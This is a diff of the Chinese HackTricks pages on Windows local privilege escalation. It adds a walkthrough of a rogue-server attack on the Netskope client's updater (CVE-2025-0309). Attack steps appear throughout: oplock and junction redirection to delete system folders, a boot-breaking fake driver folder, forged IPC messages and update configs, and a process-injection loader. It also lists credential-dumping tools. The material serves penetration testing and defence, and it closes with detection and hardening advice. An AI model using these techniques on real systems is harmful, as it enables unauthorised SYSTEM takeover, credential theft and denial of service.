`::$INDEX_ALLOCATION` 流**,NTFS **会从文件系统中移除整个文件夹**。 +因此,如果你**删除文件夹的 `::$INDEX_ALLOCATION` 数据流**,NTFS 会**从文件系统中移除整个文件夹**。 -你可以使用像以下这样的标准文件删除 API: +你可以使用标准的文件删除 APIs,例如: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> 即使你调用的是 *file* delete API,它**会删除文件夹本身**。 +> 即使你调用的是 *file* delete API,它**删除文件夹本身**。 -### 从 Folder Contents Delete 到 SYSTEM EoP -如果你的 primitive 不允许你删除任意文件/文件夹,但它**允许删除攻击者控制的文件夹的*contents***? +### 从删除文件夹内容到 SYSTEM EoP +如果你的 primitive 不允许你删除任意文件/文件夹,但它**确实允许删除攻击者控制的文件夹的*内容***? -1. 第一步:设置诱饵文件夹和文件 +1. 步骤 1:设置诱饵文件夹和文件 - 创建:`C:\temp\folder1` - 在其中:`C:\temp\folder1\file1.txt` -2. 第二步:在 `file1.txt` 上放置一个 **oplock** -- 当有特权进程尝试删除 `file1.txt` 时,oplock **暂停执行**。 +2. 步骤 2:在 `file1.txt` 上放置一个 **oplock** +- 该 oplock 会在有特权的进程尝试删除 `file1.txt` 时**暂停执行**。 ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. 步骤 3:触发 SYSTEM 进程(例如 `SilentCleanup`) -- 该进程扫描文件夹(例如 `%TEMP%`)并尝试删除其内容。 -- 当它到达 `file1.txt` 时,**oplock 触发** 并将控制权交给你的回调。 +3. 第3步:触发 SYSTEM 进程(例如,`SilentCleanup`) +- 该进程会扫描文件夹(例如,`%TEMP%`)并尝试删除其中的内容。 +- 当它处理到 `file1.txt` 时,**oplock 触发** 并将控制权交给你的回调。 -4. 步骤 4:在 oplock 回调内 – 重定向删除 +4. 第4步:在 oplock 回调内 — 重定向删除 -- 选项 A:将 `file1.txt` 移动到其他位置 -- 这会清空 `folder1` 而不会破坏 oplock。 +- 选项 A:将 `file1.txt` 移到别处 +- 这样会清空 `folder1`,不会破坏 oplock。 - 不要直接删除 `file1.txt` — 那会过早释放 oplock。 -- 选项 B:将 `folder1` 转换为 **junction**: +- 选项 B:将 `folder1` 转换为 **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control ``` -- 选项 C:在 `\RPC Control` 中创建一个 **symlink**: +- 选项 C:在 `\RPC Control` 中创建 **symlink**: ```bash # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> 这针对存储文件夹元数据的 NTFS 内部流 — 删除它就会删除该文件夹。 +> 这会针对 NTFS 的内部流,该流用于存储文件夹元数据 — 删除它会删除该文件夹。 -5. 第5步:释放 oplock +5. 第 5 步:释放 oplock - SYSTEM 进程继续并尝试删除 `file1.txt`。 -- 但现在,由于 junction + symlink,它实际上正在删除: +- 但现在,由于 junction + symlink,它实际上在删除: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` **结果**: `C:\Config.Msi` 被 SYSTEM 删除。 -### 从任意文件夹创建到永久 DoS +### 从 Arbitrary Folder Create 到 Permanent DoS -利用一个原语,让你可以以 **SYSTEM/admin** 创建任意文件夹——即使你 **不能写文件** 或 **设置弱权限**。 +利用一个原语,允许你 **create an arbitrary folder as SYSTEM/admin** — 即使 **you can’t write files** 或 **set weak permissions**。 -创建一个 **文件夹**(不是文件),命名为一个 **关键 Windows 驱动**,例如: +创建一个**folder**(不是 **file**),取名为一个**critical Windows driver**,例如: ``` C:\Windows\System32\cng.sys ``` -- 这个路径通常对应于 `cng.sys` 内核模式驱动程序。 -- 如果你 **预先将其创建为一个文件夹**,Windows 在启动时无法加载实际的驱动程序。 -- 然后,Windows 会在启动过程中尝试加载 `cng.sys`。 -- 它看到该文件夹,**无法解析实际驱动程序**,并且**导致崩溃或停止启动**。 -- **没有回退**,且在没有外部干预(例如,引导修复或磁盘访问)的情况下**无法恢复**。 +- 此路径通常对应于 `cng.sys` 内核模式驱动程序。 +- 如果你 **事先将其创建为文件夹**,Windows 在启动时无法加载实际驱动程序。 +- 随后,Windows 在启动时尝试加载 `cng.sys`。 +- 它会看到该文件夹,**无法定位实际驱动程序**,并且**崩溃或停止启动**。 +- 没有**回退机制**,且在没有外部干预(例如引导修复或磁盘访问)的情况下**无法恢复**。 ## **从 High Integrity 到 System** ### **新服务** -如果你已经在 High Integrity 进程上运行,**path to SYSTEM** 可能很容易——只需**创建并执行一个新服务**: +如果你已经在 High Integrity 进程上运行,**通往 SYSTEM 的路径**可能很简单,只需**创建并执行一个新服务**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> 在创建 service 二进制文件时,确保它是一个有效的 service,或者该二进制执行必要的操作以尽快运行,因为如果它不是有效的 service,会在 20 秒内被终止。 +> 在创建 service binary 时,确保它是一个有效的 service,或者该 binary 能尽快执行必要操作,因为如果不是有效 service,它将在 20s 内被终止。 ### AlwaysInstallElevated -从一个 High Integrity 进程,你可以尝试 **启用 AlwaysInstallElevated 注册表项** 并使用一个 _**.msi**_ 封装器 **安装** 一个 reverse shell。\ +从 High Integrity 进程你可以尝试 **启用 AlwaysInstallElevated 注册表项** 并使用 _**.msi**_ 包装器 **install** 一个 reverse shell。\ [More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System @@ -1540,19 +1551,19 @@ sc start newservicename ### From SeDebug + SeImpersonate to Full Token privileges -如果你拥有那些 token 权限(很可能会在已经是 High Integrity 的进程中发现),你将能够使用 SeDebug 权限 **打开几乎任何进程**(非受保护进程),**复制该进程的 token**,并用该 token 创建一个 **任意进程**。\ -使用此技术通常会 **选择以 SYSTEM 运行且具有所有 token 权限的进程**(_是的,你可能会发现某些 SYSTEM 进程并不具备所有 token 权限_)。\ -**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** +如果你拥有这些 token privileges(通常会在已经是 High Integrity 的进程中发现),你将能够使用 SeDebug privilege **open almost any process**(非 protected processes),**copy the token** 该进程,并使用该 token **create an arbitrary process**。\ +使用此技术通常会 **选择任一以 SYSTEM 运行且具有所有 token privileges 的进程**(_是的,你可以找到没有所有 token privileges 的 SYSTEM 进程_)。\ +**你可以找到** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -此技术被 meterpreter 在 `getsystem` 中用于提权。该技术包括 **创建一个 pipe,然后创建/滥用一个 service 向该 pipe 写入**。随后,使用 **`SeImpersonate`** 权限创建该 pipe 的 **server** 将能够 **模拟 pipe 客户端(即 service)的 token**,以获取 SYSTEM 权限。\ -If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ -If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). +该技术被 meterpreter 用于 getsystem 提权。该技术包含 **创建一个 pipe,然后创建/滥用一个 service 向该 pipe 写入**。接着,使用 **`SeImpersonate`** privilege 创建该 pipe 的 **server** 将能够 **impersonate the token** 管道客户端(即 service)从而获取 SYSTEM privileges。\ +如果你想要 [**learn more about name pipes you should read this**](#named-pipe-client-impersonation)。\ +如果你想阅读一个从 high integrity 到 System 使用 name pipes 的示例,请看 [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md)。 ### Dll Hijacking -如果你设法 **hijack 一个 dll**,并被一个以 **SYSTEM** 运行的 **process** 在加载时使用,你将能够以该权限执行任意代码。因此,Dll Hijacking 对此类提权也很有用,而且从 high integrity 进程实现起来往往 **要容易得多**,因为该进程通常对用于加载 dll 的文件夹具有 **写权限**。\ +如果你设法 **hijack a dll** 被以 **SYSTEM** 身份运行的 **process** **loaded**,你将能够以这些权限执行任意代码。因此 Dll Hijacking 对此类权限提升也很有用,而且从 high integrity 进程实现要容易得多,因为它对用于加载 dll 的文件夹具有 **write permissions**。\ **You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1576,40 +1587,40 @@ If you want to read an example of [**how to go from high integrity to System usi **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查错配和敏感文件(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。已检测。**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的错配并收集信息(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- 检查错配**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 的已保存会话信息。local 使用 -Thorough。**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从 Credential Manager 提取凭据。已检测。**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域内对收集到的密码进行喷洒**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- 检查 misconfigurations 和 sensitive files(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- 检查一些可能的 misconfigurations 并收集信息(**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)。**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- 检查 misconfigurations**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- 提取 PuTTY, WinSCP, SuperPuTTY, FileZilla 和 RDP 已保存的会话信息。在本地使用 -Thorough。**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- 从 Credential Manager 提取 crendentials。Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- 在域内对收集到的密码进行 spray**\ [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗和中间人工具。**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 Windows 提权枚举**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **~~**\~\~ -- 搜索已知的提权漏洞(已弃用,改用 Watson)\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- 基本的 Windows privesc 枚举**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- 搜索已知的 privesc 漏洞(已被 Watson 取代,DEPRECATED)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- 本地检查 **(需要 Admin 权限)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的提权漏洞(需要用 VisualStudio 编译)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错配(更偏向信息收集工具而非纯提权)(需要编译)**(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从大量软件中提取凭据(GitHub 上有预编译的 exe)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞(需要使用 VisualStudio 编译)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找 misconfigurations(更偏信息收集工具而非纯 privesc)(需要编译)([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从大量软件中提取凭据(github 上有预编译 exe)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **~~**\~\~ -- 检查错配(可执行文件在 GitHub 上有预编译版本)。不推荐。它在 Win10 上效果不好。\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的错配(通过 python 打包成 exe)。不推荐。它在 Win10 上效果不好。 +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查 misconfiguration(可执行文件已在 github 上预编译)。不推荐。它在 Win10 上表现不佳。\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 检查可能的 misconfigurations(python 打包为 exe)。不推荐。它在 Win10 上表现不佳。 **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 基于该帖创建的工具(运行时不需要 accesschk,但可选择使用)。 +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 基于该帖子创建的工具(不需要 accesschk 也能正常工作,但可以使用它)。 **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐可用的 exploit(本地 python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐可用的 exploit(本地 python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- 读取 **systeminfo** 的输出并推荐可用 exploit(本地 python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- 读取 **systeminfo** 的输出并推荐可用 exploit(本地 python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -你需要使用正确版本的 .NET 编译该项目([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。要查看受害主机上安装的 .NET 版本,你可以执行: +你必须使用正确版本的 .NET 来编译该项目([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))。要查看受害主机上已安装的 .NET 版本,你可以执行: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..04462b71d --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,123 @@ +# 滥用企业自动更新程序和特权 IPC (e.g., Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +本页概述了一类在企业端点代理和更新程序中发现的 Windows 本地提权链,这些组件暴露了低‑摩擦的 IPC 接口和特权更新流程。一个具有代表性的例子是 Netskope Client for Windows < R129 (CVE-2025-0309),其中低权限用户可以强制使客户端注册到攻击者控制的服务器,然后交付被 SYSTEM 服务安装的恶意 MSI。 + +Key ideas you can reuse against similar products: +- 滥用特权服务的 localhost IPC 来强制重新注册或重新配置到攻击者服务器。 +- 实现厂商的更新端点,部署一个伪造的 Trusted Root CA,并将更新程序指向一个恶意的“签名”包。 +- 规避弱签名校验(CN allow‑lists)、可选的 digest flags 和宽松的 MSI properties。 +- 如果 IPC 是“encrypted”,从注册表中以全局可读方式存储的机器标识符推导出 key/IV。 +- 如果服务通过 image path/process name 限制调用者,注入到一个 allow‑listed 进程,或以 suspended 方式创建一个进程并通过最小的线程上下文修补来 bootstrap 你的 DLL。 + +--- +## 1) 通过 localhost IPC 强制注册到攻击者服务器 + +许多代理包含一个以用户模式运行的 UI 进程,该进程通过 localhost TCP 使用 JSON 与 SYSTEM 服务通信。 + +Observed in Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +Exploit flow: +1) 构造一个 JWT enrollment token,其 claims 控制后端主机(例如 AddonUrl)。使用 alg=None 以便不需要签名。 +2) 发送 IPC 消息,调用 provisioning 命令并附带你的 JWT 和 tenant name: +```json +{ +"148": { +"idpTokenValue": "", +"tenantName": "TestOrg" +} +} +``` +3) 服务开始向你的恶意服务器请求 enrollment/config,例如: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Notes: +- 如果调用者验证是基于路径/名称的,请从一个被允许的厂商二进制发起请求(参见 §4)。 + +--- +## 2) Hijacking the update channel to run code as SYSTEM + +一旦客户端与您的服务器通信,实现客户端期望的端点并将其引导到攻击者的 MSI。典型流程: + +1) /v2/config/org/clientconfig → 返回 JSON 配置,设置非常短的更新器间隔,例如: +```json +{ +"clientUpdate": { "updateIntervalInMin": 1 }, +"check_msi_digest": false +} +``` +2) /config/ca/cert → 返回一个 PEM CA 证书。服务会将其安装到 Local Machine Trusted Root store。 +3) /v2/checkupdate → 提供指向恶意 MSI 和伪造版本的元数据。 + +Bypassing common checks seen in the wild: +- Signer CN allow‑list: 服务可能仅检查 Subject CN 是否等于 “netSkope Inc” 或 “Netskope, Inc.”。你的伪造 CA 可以为该 CN 签发一个 leaf 并签署 MSI。 +- CERT_DIGEST property: 在 MSI 中包含名为 CERT_DIGEST 的良性属性。安装时没有强制执行。 +- Optional digest enforcement: 配置标志(例如 check_msi_digest=false)会禁用额外的加密验证。 + +Result: SYSTEM 服务会从 +C:\ProgramData\Netskope\stAgent\data\*.msi +安装你的 MSI,以 NT AUTHORITY\SYSTEM 身份执行任意代码。 + +--- +## 3) Forging encrypted IPC requests (when present) + +From R127, Netskope 将 IPC JSON 包装在看起来像 Base64 的 encryptData 字段中。逆向分析显示使用 AES,key/IV 来自任何用户都可读的注册表值: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +攻击者可以复现该加密并以标准用户身份发送有效的加密命令。一般提示:如果代理突然“加密”其 IPC,请在 HKLM 下查找 device IDs、product GUIDs、install IDs 等作为密钥材料。 + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +一些服务通过解析 TCP 连接的 PID,并将镜像路径/名称与位于 Program Files 下的 allow‑listed 厂商二进制文件(例如 stagentui.exe、bwansvc.exe、epdlp.exe)进行比较来认证对端。 + +两种实用的绕过方式: +- 对一个 allow‑listed 进程(例如 nsdiag.exe)进行 DLL 注入,并在其内部代理 IPC。 +- 启动一个 allow‑listed 二进制并将其置于挂起状态,然后在不使用 CreateRemoteThread 的情况下引导你的代理 DLL(见 §5),以满足驱动强制的防篡改规则。 + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +产品通常会附带一个 minifilter/OB callbacks 驱动(例如 Stadrv)来从受保护进程的句柄中剥除危险权限: +- Process: 移除 PROCESS_TERMINATE、PROCESS_CREATE_THREAD、PROCESS_VM_READ、PROCESS_DUP_HANDLE、PROCESS_SUSPEND_RESUME +- Thread: 限制为 THREAD_GET_CONTEXT、THREAD_QUERY_LIMITED_INFORMATION、THREAD_RESUME、SYNCHRONIZE + +一个可靠的遵守这些限制的用户模式加载器: +1) 使用 CREATE_SUSPENDED 创建一个厂商二进制的 CreateProcess。 +2) 获取你仍被允许的句柄:对进程为 PROCESS_VM_WRITE | PROCESS_VM_OPERATION,对线程获取带有 THREAD_GET_CONTEXT/THREAD_SET_CONTEXT 的句柄(或者如果在已知的 RIP 上修补代码,则只需要 THREAD_RESUME)。 +3) 覆盖 ntdll!NtContinue(或其他早期、必然已映射的 thunk)为一个微小的 stub,该 stub 调用 LoadLibraryW 加载你的 DLL 路径,然后跳回原处。 +4) ResumeThread 触发你在进程内的 stub,从而加载你的 DLL。 + +因为你从未对一个已被保护的进程使用 PROCESS_CREATE_THREAD 或 PROCESS_SUSPEND_RESUME(你是创建它的),驱动的策略得以满足。 + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) 自动化生成 rogue CA、恶意 MSI 签名,并提供所需端点:/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate。 +- UpSkope 是一个定制的 IPC 客户端,用于构造任意(可选 AES‑encrypted)IPC 消息,并包含从 allow‑listed 二进制发起的 suspended‑process 注入。 + +--- +## 7) Detection opportunities (blue team) +- 监控对 Local Machine Trusted Root 的新增。Sysmon + registry‑mod 事件(参见 SpecterOps 指南)效果良好。 +- 报警由代理服务触发、从类似 C:\ProgramData\\\data\*.msi 路径执行的 MSI。 +- 审查代理日志以查找异常的 enrollment hosts/tenants,例如:C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – 查找 addonUrl / tenant 异常以及 provisioning msg 148。 +- 对不是预期签名二进制的本地 IPC 客户端,或起源于异常子进程树的客户端触发告警。 + +--- +## Hardening tips for vendors +- 将 enrollment/update 主机绑定到严格的 allow‑list;在 client 代码中拒绝不受信任的域名。 +- 使用操作系统原语对 IPC 对端进行认证(ALPC security、named‑pipe SIDs),而不是基于镜像路径/名称的检查。 +- 不要将秘密材料放在所有用户可读的 HKLM;如果必须对 IPC 进行加密,应从受保护的密钥派生,或通过已认证的通道协商密钥。 +- 将 updater 视为供应链攻击面:要求完整链到你控制的受信任 CA,针对固定密钥验证包签名,如果配置中禁用验证则采取 fail‑closed 策略。 + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}}